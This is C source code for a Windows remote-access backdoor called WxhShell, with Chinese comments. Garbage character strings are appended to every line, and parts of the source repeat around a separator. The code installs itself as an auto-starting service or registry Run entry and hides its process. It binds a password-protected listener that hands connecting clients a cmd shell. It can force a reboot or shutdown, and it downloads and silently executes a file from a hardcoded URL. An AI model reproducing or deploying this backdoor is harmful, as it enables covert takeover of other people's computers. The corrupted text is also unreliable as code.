    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k;BXt:jDq  
    if(Boot(SHUTDOWN)) r I)Y W0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YytO*^e}}  
    else { b{4@ ~>i  
    closesocket(wsh); noI>Fw<V  
    ExitThread(0); d7(g=JK<  
    } "]H_;:{f  
    break; /<zBjvr%%  
    } &}}UdJ`  
  // 获取shell XM?>#^nC?u  
  case 's': { [9N>*dKB  
    CmdShell(wsh); at<N?r  
    closesocket(wsh); <yt|!p-tS  
    ExitThread(0); PqUjBP\  
    break; ^/c v8M=  
  } Hst]}g' .  
  // 退出 k9Pwf"m|](  
  case 'x': { ZH<: g6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LeP;HP|  
    CloseIt(wsh); nev@ykP6  
    break; >`{B  
    } Pk{eGG<F$  
  // 离开 76 ] X  
  case 'q': { D_s0)|j$cy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -2DvKW$  
    closesocket(wsh); `|rF^~6(dR  
    WSACleanup(); ."X}A t  
    exit(1); *h([ai"1-  
    break; ZsnFuk#W  
        } gPT<%F  
  } &d,!^9  
  } |^:qJ;dOP  
qnc?&f  
  // 提示信息 nXRT%[o&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uE'O}Y95  
} 8GN_ 3pT  
  } bfV&z+Rv-5  
C srxi'Pe  
  return; k.5(d.*(  
} `>1XL2  
%noByq,?  
// shell模块句柄 _A/q bm  
int CmdShell(SOCKET sock) =Ts5\1sc>  
{ 7$ze RYD+  
STARTUPINFO si; 4it^-M  
ZeroMemory(&si,sizeof(si)); .D8|_B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /}kG$ ~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (,`R>Dk  
PROCESS_INFORMATION ProcessInfo; ;n\$'"K&;  
char cmdline[]="cmd"; 14DHU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {VmJVO]S  
  return 0; jL6ZHEi#d7  
} 3xX ^pjk  
U0J_ 3W  
// 自身启动模式 ]I^b&N  
int StartFromService(void) v? Ufx  
{ eJ ;a}{ 4%  
typedef struct 0d|DIT#>?  
{ ) Vf!U"  
  DWORD ExitStatus; p!Xn iY  
  DWORD PebBaseAddress; @,^c?v  
  DWORD AffinityMask; x>!bvZ2  
  DWORD BasePriority; $o%:ST4  
  ULONG UniqueProcessId; |L<p90  
  ULONG InheritedFromUniqueProcessId; wl.a|~-  
}   PROCESS_BASIC_INFORMATION; ,j!%,!n o  
)45#lE3TH  
PROCNTQSIP NtQueryInformationProcess; p6c&vEsNj  
rNN ,!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mDdL7I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :9~LYJ ?  
}.k*4Vw#Wt  
  HANDLE             hProcess;   -]. a0  
  PROCESS_BASIC_INFORMATION pbi; X#Sgf|$  
]tx/t^&/\u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uc>]-4  
  if(NULL == hInst ) return 0; 93VbB[w~7F  
csjCXT=Ve  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UC@Jsj~f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^JM O POm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f2iA5 rCV]  
 /~1Ew  
  if (!NtQueryInformationProcess) return 0; d=C&b]  
OPuty/^!Gw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #ZyY(S1.  
  if(!hProcess) return 0;  SH6+'7  
=&t]R? F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6PyW(i(bs  
t2LX@Q"  
  CloseHandle(hProcess); tjg?zlj  
gwyX%9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 85:KlBe%+  
if(hProcess==NULL) return 0; po@Agyg5  
U1;&G  
HMODULE hMod; ]4onY >  
char procName[255]; {|B 2$1':  
unsigned long cbNeeded; ><xJQeW  
#b9V&/ln  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Oy_%U*  
9]%2Yb8SC  
  CloseHandle(hProcess); 7{lWg x  
 B9dc *  
if(strstr(procName,"services")) return 1; // 以服务启动 t{-*@8Ke  
oU|_(p"e|  
  return 0; // 注册表启动 '{w[).c.  
} k$|g)[RE  
"*LQr~k~}  
// 主模块 (#BOcx5J]  
int StartWxhshell(LPSTR lpCmdLine) VVbFn9+V  
{ 4_-L1WH  
  SOCKET wsl; b}&.IJ&40j  
BOOL val=TRUE; H8kB.D[7Q  
  int port=0; =I0J1Ob  
  struct sockaddr_in door; 7Ue&y8Yf  
sI MN""@Y^  
  if(wscfg.ws_autoins) Install(); \}J"`J\Q  
ZypK''&oc  
port=atoi(lpCmdLine); ~^PNMZk  
NiYT%K%  
if(port<=0) port=wscfg.ws_port; 'p[*2J"K4  
%\L{Ud%7  
  WSADATA data; 3hVuC1;"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m.FN ttkM  
j\HZ5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Lvrflx*Q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6rM{r>  
  door.sin_family = AF_INET; E`Br#"/Bl  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w"O{@2B3:H  
  door.sin_port = htons(port); .u'MMe>^  
?<rZ9$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8JXS:J.|v  
closesocket(wsl); J+T tM>  
return 1; hW9U%-D  
} wq|7sk{  
++eT 0  
  if(listen(wsl,2) == INVALID_SOCKET) { d@tf+_Ih  
closesocket(wsl); o;21|[z  
return 1; dsOt(yNo  
} 0+k..l  
  Wxhshell(wsl); ?Yx2q_KZk  
  WSACleanup(); Q!r&vQ/g  
a)L|kux;l  
return 0; wD /jN:  
1SH]$V4C  
} 1,7 }ah_  
E.*gKfL  
// 以NT服务方式启动 q VavP6I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7{]L{j-  
{ do9~#F  
DWORD   status = 0; u08j9) ,4  
  DWORD   specificError = 0xfffffff; :9e4(7~ona  
"$P/ek  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }57Jn5&'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3dJiu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m2&Vm~Py6b  
  serviceStatus.dwWin32ExitCode     = 0; B)/c]"@89  
  serviceStatus.dwServiceSpecificExitCode = 0; ysCK_  
  serviceStatus.dwCheckPoint       = 0; \qTp#sF  
  serviceStatus.dwWaitHint       = 0; ?a*w6,y.  
;mg.} fI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s IBP$9  
  if (hServiceStatusHandle==0) return; Gm &jlN  
!/ dH"h  
status = GetLastError(); \y6Y}Cv  
  if (status!=NO_ERROR) 9g# 62oIg  
{ H/k]u)Gtv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; HH0ck(u_A*  
    serviceStatus.dwCheckPoint       = 0; &g>M Z" Z|  
    serviceStatus.dwWaitHint       = 0; NJmx(!Xsh  
    serviceStatus.dwWin32ExitCode     = status; O S#RCN*  
    serviceStatus.dwServiceSpecificExitCode = specificError; VbTX;?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w `+.F;}s  
    return; I[b{*g2Zw  
  } Hzc}NyJ  
bSn={O"M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; df {\O* 6  
  serviceStatus.dwCheckPoint       = 0; `t44.=%  
  serviceStatus.dwWaitHint       = 0; epG]$T![  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,7 m33Pv*  
} Q&lb]U+\u  
_zzT[}  
// 处理NT服务事件,比如:启动、停止 .t9`e=%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z [l+{  
{ Ui-Y `  
switch(fdwControl) LE~vSm^#  
{ x>,wmk5)  
case SERVICE_CONTROL_STOP: ~C3J-z<  
  serviceStatus.dwWin32ExitCode = 0; i3KAJ@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; UtC<TBr  
  serviceStatus.dwCheckPoint   = 0; t:P7ah  
  serviceStatus.dwWaitHint     = 0; o( mA(h  
  { v~W ;&{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q&O9W?E8dG  
  } C3N1t  
  return; U>00B|<GJ  
case SERVICE_CONTROL_PAUSE: /?0|hi<_$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O/$41mK+!  
  break; k {vd1,HZ  
case SERVICE_CONTROL_CONTINUE: 9$qw&j[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dd;rne v+  
  break; mey -Bn  
case SERVICE_CONTROL_INTERROGATE: +2k{y l  
  break; /VP #J<6L  
}; Cs,Cb2[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S6C DK:  
} m6H+4@Z-;(  
pIug$Ke_%  
// 标准应用程序主函数 H#WqO<<v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '/rU<.1  
{ 3RI6+Cgmn  
?' mP`9I  
// 获取操作系统版本 9eE FX7  
OsIsNt=GetOsVer(); A[`c+&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F9tWJJUsr  
~BgYD)ov  
  // 从命令行安装 O<mA+yk  
  if(strpbrk(lpCmdLine,"iI")) Install(); j~=<O<P  
V\Y, 4&bI  
  // 下载执行文件 EM1HwapD  
if(wscfg.ws_downexe) { 0B2f[A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /QCg E ~  
  WinExec(wscfg.ws_filenam,SW_HIDE); blP8"(U  
} x%T^:R  
Oml /;p  
if(!OsIsNt) { J-azBi  
// 如果时win9x,隐藏进程并且设置为注册表启动 G9#3 |B-?  
HideProc(); M?<iQxtyb}  
StartWxhshell(lpCmdLine); Zs;c0T ">  
} jROh3kq  
else \l# H#~  
  if(StartFromService()) MCIuP`sC|  
  // 以服务方式启动 zW hzU|=8  
  StartServiceCtrlDispatcher(DispatchTable); u@+^lRGFh  
else P!)F1U]!  
  // 普通方式启动 *_Ih@f H  
  StartWxhshell(lpCmdLine); k^B7M}  
W'E3_dj+  
return 0; _g D9oK  
} xk,1 D  
LW/> %  
X 3XTB*  
9\E];~"iP  
=========================================== ^L\w"`,~  
.#K\u![@N  
An,TunX  
%RzkP}1>E  
j.V7`x  
M?n}{0E4  
" V4W(> g  
:Fh_Ya0  
#include <stdio.h> O-~cj7 0\  
#include <string.h> \ 9sJ`,T?  
#include <windows.h> xyXVWd[  
#include <winsock2.h>  ZLf(m35  
#include <winsvc.h> 8)b*q\ O'  
#include <urlmon.h> Y]B9*^d<  
THy   
#pragma comment (lib, "Ws2_32.lib") 9/R=_y-  
#pragma comment (lib, "urlmon.lib") |+<o(Q(  
+ eZn  
#define MAX_USER   100 // 最大客户端连接数 ? fM_Y  
#define BUF_SOCK   200 // sock buffer w'mn O'%  
#define KEY_BUFF   255 // 输入 buffer I Vw'YtZ  
;jlI>;C;V  
#define REBOOT     0   // 重启 k4"O} jQO  
#define SHUTDOWN   1   // 关机 )G#O#Yy  
nQfSQMg  
#define DEF_PORT   5000 // 监听端口 K2tOt7M!  
)S@TYzdAN  
#define REG_LEN     16   // 注册表键长度 A{DE7gp!  
#define SVC_LEN     80   // NT服务名长度 _sCzee&uQ  
e\*N Lj_(  
// 从dll定义API WOYN% 0#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S;nlC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `mN5sq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;4`%?6%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LcHe5Bv%  
v0pev;C  
// wxhshell配置信息 XIp>PcU^  
struct WSCFG { )hfI,9I~  
  int ws_port;         // 监听端口 -}H EV#ev  
  char ws_passstr[REG_LEN]; // 口令 bp P3#~ K  
  int ws_autoins;       // 安装标记, 1=yes 0=no zZPXI&,  
  char ws_regname[REG_LEN]; // 注册表键名 V%FWZn^  
  char ws_svcname[REG_LEN]; // 服务名 !XF:.|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :8lqo%5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .wQM_RZJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zf[KZ\6H   
int ws_downexe;       // 下载执行标记, 1=yes 0=no x J\>;$CY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r}#,@<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C4eQ.ep  
[-3x*?Ju  
}; Tpp?(lT7r  
XILreATK@  
// default Wxhshell configuration )Tf,G[z&ge  
struct WSCFG wscfg={DEF_PORT, Sfffm$H  
    "xuhuanlingzhe", xG,L*3c{o  
    1, 5oOFl  
    "Wxhshell", ;0O>$|kg  
    "Wxhshell", SD1M`PI  
            "WxhShell Service", QbEb} Jt  
    "Wrsky Windows CmdShell Service", *<ww~^a  
    "Please Input Your Password: ", wv&%09U  
  1, p</V_BIW  
  "http://www.wrsky.com/wxhshell.exe", ?.69nN  
  "Wxhshell.exe"  dm{/  
    }; o/I`L  
`"eIzLc%o6  
// 消息定义模块 |@pn=wW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9S<at MB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h@D!/PS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OF1Qr bj  
char *msg_ws_ext="\n\rExit."; s.>;(RiJd  
char *msg_ws_end="\n\rQuit."; `SG8w_  
char *msg_ws_boot="\n\rReboot..."; t ;bU#THM  
char *msg_ws_poff="\n\rShutdown..."; T7ICXpe@  
char *msg_ws_down="\n\rSave to "; 4So ,m0v  
G"F:68  
char *msg_ws_err="\n\rErr!"; #CNK [y  
char *msg_ws_ok="\n\rOK!"; .=/TT|eMS  
C dTE~O<)  
char ExeFile[MAX_PATH]; -X,[NI3  
int nUser = 0; Cg];UB}k  
HANDLE handles[MAX_USER]; JnXVI!+JDL  
int OsIsNt; yMKVF`D*  
5<h:kZ"S^g  
SERVICE_STATUS       serviceStatus; g I@I.=y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u=PYm+q{  
Ag0)> PD^  
// 函数声明 e c4vX  
int Install(void); DY8w\1g"  
int Uninstall(void); G q2@37U  
int DownloadFile(char *sURL, SOCKET wsh); P] qL&_  
int Boot(int flag); 1t<  nm)  
void HideProc(void); HkdBPMs79  
int GetOsVer(void); 6"u"B-cz  
int Wxhshell(SOCKET wsl); .5GGZfJ]  
void TalkWithClient(void *cs); 2#`9OLu8X  
int CmdShell(SOCKET sock); +L|-W9"@3  
int StartFromService(void); dNT<![X\  
int StartWxhshell(LPSTR lpCmdLine); oS#PBql4  
5PPaR|c3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,!oR"b!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); th`pf   
&W$s-qf".  
// 数据结构和表定义 +$ 0wBU  
SERVICE_TABLE_ENTRY DispatchTable[] = +9R@cUr  
{ 3u~V&jl  
{wscfg.ws_svcname, NTServiceMain}, 0c$ ')`! m  
{NULL, NULL} tqwAS)v=  
}; J @^Ypq  
%>!$ eCX  
// 自我安装 c^x5 E`{  
int Install(void) {&0u:  
{ _tR?WmNH=  
  char svExeFile[MAX_PATH]; f7oJ6'K  
  HKEY key; n+SHkrW  
  strcpy(svExeFile,ExeFile); a?8boN(  
Ln"D .gpq  
// 如果是win9x系统,修改注册表设为自启动 87yZd8+)  
if(!OsIsNt) { '))K' u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AY_GD ^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4{CeV7  
  RegCloseKey(key); [SU;U['7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w,eW?b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nUf0TkA  
  RegCloseKey(key); s |!lw  
  return 0; \x<i6&.  
    } ,C}s8|@k  
  } v?(z4oOD/>  
} k]9+/ $  
else { SGK 5  
\%|%C  
// 如果是NT以上系统,安装为系统服务 %Z+FX,AK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {wvBs87  
if (schSCManager!=0) BI+x6S>d  
{ "2z&9`VIY  
  SC_HANDLE schService = CreateService dry>TXG*  
  ( =hi{J M  
  schSCManager, a[@Y >  
  wscfg.ws_svcname, dheobD  
  wscfg.ws_svcdisp, .,<w_=  
  SERVICE_ALL_ACCESS, P71] Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YT}ZLx  
  SERVICE_AUTO_START, BKKW3PT  
  SERVICE_ERROR_NORMAL, Q PrP3DK  
  svExeFile, @K\ hgaQ  
  NULL, `APeS=< &  
  NULL, $V,ZH* g  
  NULL, Q%x-BZb~  
  NULL, $g_|U:,  
  NULL m{ f+ !  
  ); &[P(}??Y\  
  if (schService!=0) pU1miA '  
  { WOi+y   
  CloseServiceHandle(schService); DO6 pv  
  CloseServiceHandle(schSCManager); 7ygz52  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p# JPLCs  
  strcat(svExeFile,wscfg.ws_svcname); N"s"^}M\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l'7' G$v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QY c/f"9  
  RegCloseKey(key); -+[~eqRB  
  return 0; {9v Mc  
    } x27$h)R0v  
  } 9XmbHS[0V  
  CloseServiceHandle(schSCManager); y+h/jEbM</  
} Ffig0K+ `  
} ~d-Q3n?zR  
eW;c 3<  
return 1; 3hcWR'|  
} 8>`8p0I$+  
Pq1j  
// 自我卸载 )j!%`g  
int Uninstall(void) M[cAfu  
{ baGV]=j  
  HKEY key; oiOu169]  
rJ(AO'=  
if(!OsIsNt) { T?CQgVR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6Ev+!!znu  
  RegDeleteValue(key,wscfg.ws_regname); mbHMy[R  
  RegCloseKey(key); sl`?9-_[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `4wy *!]  
  RegDeleteValue(key,wscfg.ws_regname); hqa6aYY x  
  RegCloseKey(key); LI>Bl  
  return 0; m[v%Qe|~  
  } a:s$[+'Y  
} 6=96^o*  
} *;T'=u_lR  
else { >M^:x-mib  
ni6zo~+W]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Nz:p(X!  
if (schSCManager!=0) N{<5)L~Y  
{ oJ|m/i)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w$j6!z  
  if (schService!=0) SNf~%B?`L  
  { 89t"2|9 u  
  if(DeleteService(schService)!=0) { Gn4XVzB`O  
  CloseServiceHandle(schService); O^8=Xj#}  
  CloseServiceHandle(schSCManager); BZIU@^Q_Y[  
  return 0; sGE %zCB  
  } yv: Op\;R  
  CloseServiceHandle(schService); 7Rd(,eWE@  
  } nI] zRduC  
  CloseServiceHandle(schSCManager); h@J3+u<  
} QcX&q%*0  
} kx;7/fH  
k%iwt]i%  
return 1; ru|*xNXKgC  
} ;zd.KaS  
g ;X K3R  
// 从指定url下载文件 _Ud!tK*H  
int DownloadFile(char *sURL, SOCKET wsh) At !@Rc  
{ M"-.D;sa1  
  HRESULT hr; |io)?`pj  
char seps[]= "/"; :ciD!Ly  
char *token; Cxe(iwa.  
char *file; W$W w/mcl+  
char myURL[MAX_PATH]; UID`3X  
char myFILE[MAX_PATH]; wOLV?Vk  
;wTc_i  
strcpy(myURL,sURL); }}bMq.Q'  
  token=strtok(myURL,seps); [.6bxK  
  while(token!=NULL) 4vNH"72P  
  { ?}= $zN  
    file=token; ^z~drcR  
  token=strtok(NULL,seps); wc\`2(  
  } qn'TIE.  
Mb45UG#2  
GetCurrentDirectory(MAX_PATH,myFILE); 0g; o6Fg  
strcat(myFILE, "\\"); hjhZ":I.  
strcat(myFILE, file); igEqty!.  
  send(wsh,myFILE,strlen(myFILE),0); s3'kzwX  
send(wsh,"...",3,0); yo%Nz"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t;u)_C,bmP  
  if(hr==S_OK) %a:T9v  
return 0; 87m`K Str7  
else JY,oXA6O  
return 1; o/[Ks;l  
HrMbp  
} AYfe_Dj  
=kCiJ8q|  
// 系统电源模块 T0.sL9  
int Boot(int flag) W|(<z'S  
{ RD;A  
  HANDLE hToken;  Z`|\%D%  
  TOKEN_PRIVILEGES tkp; |;^$IZSsz  
MBnxF^c&P  
  if(OsIsNt) { K@/dQV%Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  kKY,&Fn-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XqwP<5Z  
    tkp.PrivilegeCount = 1; cr?ZXu_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oel?we6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DZA '0-  
if(flag==REBOOT) { ;e9&WEG_\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s OLjT34  
  return 0; 9[DlJ@T}  
} B__e*d:)!m  
else { c?aOX/C'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gvL*]U7  
  return 0; $BG]is,&5  
} {xTh!ih2 -  
  } oq b(w+<  
  else { cIK4sOTJ&  
if(flag==REBOOT) { kf#S"[/E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e AaS }g 0  
  return 0; OYb:);o,iE  
} %*Vr}@BA)  
else { ps:E(\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l)'*jZ  
  return 0; =.J cIT'  
} ,f<J4U:Y  
} sM%l:Fv  
|CQ0{1R1  
return 1; 6$zd2N?  
} i9`-a/  
N^k& 8  
// win9x进程隐藏模块 fKtlfQG  
void HideProc(void) OKk" S_`  
{ i CB:p  
(T&(PCw|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oiD{Z  
  if ( hKernel != NULL ) 5fz K*[B  
  { x|()f 3{.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 73SH[f[g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'q RQO(9&m  
    FreeLibrary(hKernel); I7#JT?\}  
  } qG9j}[d'  
tCPK_Wws?Z  
return; h-SKw=n  
} q|r*4={^!*  
AS[j)x!  
// 获取操作系统版本 c\O2|'JzE  
int GetOsVer(void) F[W0gjUc  
{ )_?h;wh 84  
  OSVERSIONINFO winfo; <(yAat$H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "=JE12=u  
  GetVersionEx(&winfo); {) sE;p-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nHp(,'R/  
  return 1; xO,;4uE  
  else <(V~eo e  
  return 0; 6s ~!B{Q  
} kg,\l9AM  
4^d).{&X  
// 客户端句柄模块 Xs'qwL~{`  
int Wxhshell(SOCKET wsl) b):aqRwP  
{ :2')`xT  
  SOCKET wsh; (v? rZv  
  struct sockaddr_in client; ELG9ts+5Uj  
  DWORD myID; k `5K&  
L =M'QJl9  
  while(nUser<MAX_USER) bD|VT  
{ .b^!f<j  
  int nSize=sizeof(client); W"CG&.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f&RjvVP?s  
  if(wsh==INVALID_SOCKET) return 1; gr{*wYL  
W/~q%\M {  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ya,-Lt  
if(handles[nUser]==0) =qL^#h83y  
  closesocket(wsh); jpTk@  
else |zd5P  
  nUser++; ^=PY6!iW  
  } Mm9*$g!R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @L0)k^:  
|L:X$oM  
  return 0; `0!%jz=  
} =A$d)&  
h'_$I4e)  
// 关闭 socket )ZFc5m^+u  
void CloseIt(SOCKET wsh) jc#gn& 4C  
{ eX!yIqAR  
closesocket(wsh); |B64%w>Y  
nUser--; .f>7a;V?}  
ExitThread(0); raU_Z[  
} }1lZW"{e[  
Z5EII[=$o  
// 客户端请求句柄 kf9]nIo  
void TalkWithClient(void *cs) P6=5:-Hh  
{ C',uY7}<  
1F3Q^3+  
  SOCKET wsh=(SOCKET)cs; :_,3")-v  
  char pwd[SVC_LEN]; R|Uu  
  char cmd[KEY_BUFF]; -C!m#"PDW  
char chr[1]; iU3PlF[B/o  
int i,j; V-X Ty iv  
uf:'"7V7  
  while (nUser < MAX_USER) { c>+68<H  
sr(nd35  
if(wscfg.ws_passstr) { >}JEX]V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XJ"xMv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Dqd2e&a\  
  //ZeroMemory(pwd,KEY_BUFF); Q|2*V1"r<2  
      i=0; i<=2 L?[.I  
  while(i<SVC_LEN) { Ag8lI+ h  
dk]A,TB*2  
  // 设置超时 [kqO6U  
  fd_set FdRead; v!3Oq.ot  
  struct timeval TimeOut; 2t>>08T  
  FD_ZERO(&FdRead); : Cli8#  
  FD_SET(wsh,&FdRead); LCq1F(q  
  TimeOut.tv_sec=8; $*Wa A`(U  
  TimeOut.tv_usec=0; CUBL/U\=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h,b_8g{!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C 20VSwd  
5Kk}sxol  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QA)W(1  
  pwd=chr[0]; Lc "{ePFh  
  if(chr[0]==0xd || chr[0]==0xa) { L6ypn)l  
  pwd=0; K5??WB63B  
  break; ?`6Mfpvj96  
  } cHVu6I?h  
  i++; |W&K@g$  
    } n,_9Eh#WD  
!FB2\hiM  
  // 如果是非法用户,关闭 socket Ln/*lLIOb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HW"5MZ8E  
} w7vQ6jkH  
Qp2~ `hD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Hd gABIuX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wWq-zGH|&  
h///  
while(1) { +8GxX$  
}wEt=zOJ  
  ZeroMemory(cmd,KEY_BUFF); q 1u_r  
_eH@G(W(  
      // 自动支持客户端 telnet标准   TY` R_  
  j=0; rm|,+ {  
  while(j<KEY_BUFF) {  ;CV'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H$ :BJ$x@  
  cmd[j]=chr[0]; XSx'@ qH  
  if(chr[0]==0xa || chr[0]==0xd) { ma"M?aM  
  cmd[j]=0; F:.8O ,%u  
  break; 2o W'B^-  
  } HPo><u  
  j++; 2j1HN  
    } V=Bmpg  
d/YQ6oKU  
  // 下载文件 &rc r>-  
  if(strstr(cmd,"http://")) { sp0_f;bC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U-{3HHA  
  if(DownloadFile(cmd,wsh)) Kf$6D 79#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^lK!tOeO  
  else N;=J)b|9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4~WSIR-  
  } +hH7|:JQ  
  else { q'X#F8v  
;B :\e8  
